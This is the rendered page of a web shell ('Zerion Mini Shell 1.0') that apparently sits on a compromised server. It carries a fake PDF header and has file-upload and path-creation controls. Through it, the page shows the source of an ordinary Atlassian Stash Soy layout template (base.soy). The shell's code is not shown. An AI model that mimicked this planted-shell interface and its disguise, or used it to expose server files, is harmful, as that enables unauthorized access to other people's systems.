%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/985914/root/data/old/home/stash/stash/atlassian-stash/static/layout/base/
Upload File :
Create Path :
Current File : //proc/985914/root/data/old/home/stash/stash/atlassian-stash/static/layout/base/base.soy

{namespace stash.layout}

/**
 * @param? activeHeaderNav
 * @param? headContent Content inserted inside HEAD after TITLE.
 * @param? hideLoginLink Boolean. Hides the "Login" link in global app header. Primarily used on the login page itself
 * @param? pageBottomContent Additional content at the bottom of the page, below the page footer.
 * @param? theme String. Theme class name added to the BODY. Default is 'stash-theme'
 * @param? windowTitle Text for the TITLE element.
 *
 * data passed through to stash.layout.aui
 * @param? bodyClass String. Additional classes to be added to the BODY
 * @param content Main page content inserted inside the #content section
 * @param? dataAttributes Data attributes for main content section
 * @param? extraAttributes String or Object. Additional Extra attributes to apply to BODY
 * @param? focusedPageSize Default: xlarge. Options: small, medium, large, xlarge.
 * @param? pageType Default: default (full width). Options: default, focused, fixed, hybrid, sidebar, generic (no class applied).
 * @param? sidebarState String. 'collapsed', 'expanded' or left undefined. Used by AUI Sidebar to render the sidebar's initial state.
 * @param? useAdminContext Boolean. Loads resources for Admin page context (atl.admin instead of atl.general). Default false.
 */
{template .base}
    {webResourceManager_requireResourcesForContext('stash.layout.base')}
    {call stash.layout.aui}
        {param bodyClass: $bodyClass /}
        {param content: $content /}
        {param dataAttributes: $dataAttributes /}
        {param extraAttributes: $extraAttributes /}
        {param focusedPageSize: $focusedPageSize /}
        {param pageType: $pageType /}
        {param sidebarState: $sidebarState /}
        {param theme: $theme ? $theme : 'stash-theme' /}
        {param resourceContext: $useAdminContext ? 'atl.admin' : 'atl.general' /}
        {param windowTitle: $windowTitle ? $windowTitle + ' - ' + $ij.instanceName : $ij.instanceName /}
        {param headContent}
            <meta name="application-name" content="Stash">
            <link rel="shortcut icon" type="image/x-icon" href="{plugin_resource('com.atlassian.stash.stash-web-plugin:favicon', 'favicon.ico')}" />
            {if $headContent}
                {$headContent|noAutoescape}
            {/if}
        {/param}
        {param globalPrimaryContent}
            {foreach $webPanel in getWebPanels('header.global.primary')}
                {$webPanel|noAutoescape}
            {/foreach}
            {foreach $logoItem in getWebItems('header.global.primary.logo')}
                <h1 id="logo" class="aui-header-logo aui-header-logo-stash">{call stash.widget.webItem data="$logoItem"/}</h1>
            {/foreach}
            <ul class="aui-nav">
                {foreach $headerItem in getWebItems('header.global.primary')}
                    {call .headerDropdown}
                        {param webItem: $headerItem /}
                        {param activeKey: $activeHeaderNav /}
                        {param dropdownWebSections: getWebSections($headerItem.moduleKey) /}
                    {/call}
                {/foreach}
            </ul>
        {/param}
        {param globalSecondaryContent}
            <ul class="aui-nav">
                {foreach $webPanel in getWebPanels('header.global.secondary.search')}
                    <li>{$webPanel|noAutoescape}</li>
                {/foreach}
                {foreach $headerItem in getWebItems('header.global.secondary')}
                    {call .headerDropdown}
                        {param webItem: $headerItem /}
                        {param activeKey: $activeHeaderNav /}
                        {param dropdownWebSections: getWebSections($headerItem.moduleKey) /}
                    {/call}
                {/foreach}
                {if $ij.principal}
                    <li class="user-dropdown">
                        {call widget.aui.dropdown2}
                            {{param triggerTitle: getText('stash.web.header.user.description', $ij.principal.displayName, $ij.principal.name) /}}
                            {param triggerClass: 'user-dropdown-trigger' /}
                            {param triggerContent}
                                {call aui.avatar.avatar}
                                    {param size: 'small' /}
                                    {param avatarImageUrl: avatarUrl($ij.principal, 'small') /}
                                    {param id: 'current-user' /}
                                    {param extraAttributes: [
                                        'data-username': $ij.principal.name,
                                        'data-avatarurl-small': avatarUrl($ij.principal, 'small'),
                                        'data-emailaddress': $ij.principal.emailAddress
                                        ] /}
                                    {{param accessibilityText: getText('stash.web.header.user.description', $ij.principal.displayName, $ij.principal.name) /}}
                                {/call}
                            {/param}
                            {param menuId: 'user-dropdown-menu' /}
                            {param menuContent}
                                {call .headerDropdownWebSections}
                                    {param dropdownWebSections: getWebSections('header.global.secondary.user') /}
                                {/call}
                            {/param}
                            {param dataContainer: '.aui-header-secondary' /}
                        {/call}
                    </li>
                {elseif not $hideLoginLink}
                    <li class="user-dropdown">
                        <a id="login-link" href="{nav_login(true)}">{getText('stash.web.menu.login')}</a>
                    </li>
                {/if}
            </ul>
        {/param}
        {param footerContent}
            {foreach $webPanel in getWebPanels('stash.web.footer')}
                {$webPanel|noAutoescape}
            {/foreach}
        {/param}
        {param pageBottomContent}
            <script>
            require('layout/base').onReady(
                {if $ij.principal}
                    {lb}
                        id : {$ij.principal.id|escapeJs},
                        active: {$ij.principal.active|escapeJs},
                        name : "{$ij.principal.name|escapeJs}",
                        slug : "{$ij.principal.slug|escapeJs}",
                        displayName : "{$ij.principal.displayName|escapeJs}",
                        avatarUrl : "{avatarUrl($ij.principal, 'small')|escapeJs}",
                        emailAddress : "{$ij.principal.emailAddress|escapeJs}",
                        type : "{$ij.principal.type|escapeJs}"
                    {rb}
                {else}
                    null
                {/if},
                "{$ij.instanceName|escapeJs}"
            );

            require('widget/keyboard-shortcuts').onReady();
            </script>
            {if $pageBottomContent}
                {$pageBottomContent|noAutoescape}
            {/if}
            {foreach $webPanel in getWebPanels('stash.web.pageBottom')}
                {$webPanel|noAutoescape}
            {/foreach}
        {/param}
    {/call}
{/template}

/**
 * @param webItem
 * @param activeKey
 * @param dropdownWebSections
 */
{template .headerDropdown private="true"}
    <li{if $activeKey == $webItem.moduleKey} class="selected"{/if}>
        {if length($dropdownWebSections) > 0}
            {call widget.aui.dropdown2 data="$webItem"}
                {param triggerId: $webItem.linkId ? $webItem.linkId : '' /}
                {param triggerText: $webItem.params['stashIconClass'] ? null : $webItem.linkText /}
                {param triggerClass: $webItem.styleClass /}
                {param showIcon: true/}
                {param menuId: $webItem.pluginKey + '-' + $webItem.moduleKey /}
                {param menuContent}
                    {call .headerDropdownWebSections}
                        {param dropdownWebSections: $dropdownWebSections /}
                        {param locationPrefix: $webItem.moduleKey + '/' /}
                    {/call}
                {/param}
                {param triggerContent}
                    {if $webItem.params['stashIconClass']}
                        <span class="aui-icon {$webItem.params['stashIconClass']}">{$webItem.linkText}</span>
                    {/if}
                {/param}
            {/call}
        {else}
            {call stash.widget.webItem data="$webItem"/}
        {/if}
    </li>
{/template}


/**
 * @param dropdownWebSections
 * @param? locationPrefix
 * @param? context
 */
{template .headerDropdownWebSections private="true"}
    {foreach $dropdownWebSection in $dropdownWebSections}
        <div class="aui-dropdown2-section {$dropdownWebSection.key}">
            {if $dropdownWebSection.labelText}<strong>{$dropdownWebSection.labelText}</strong>{/if}
            <ul class="aui-list-truncate">
                {foreach $sectionItem in getWebItems(($locationPrefix ? $locationPrefix : '') + $dropdownWebSection.key, ($context ? $context : [:]))}
                    <li>{call stash.widget.webItem data="$sectionItem" /}</li>
                {/foreach}
            </ul>
        </div>
    {/foreach}
{/template}

Zerion Mini Shell 1.0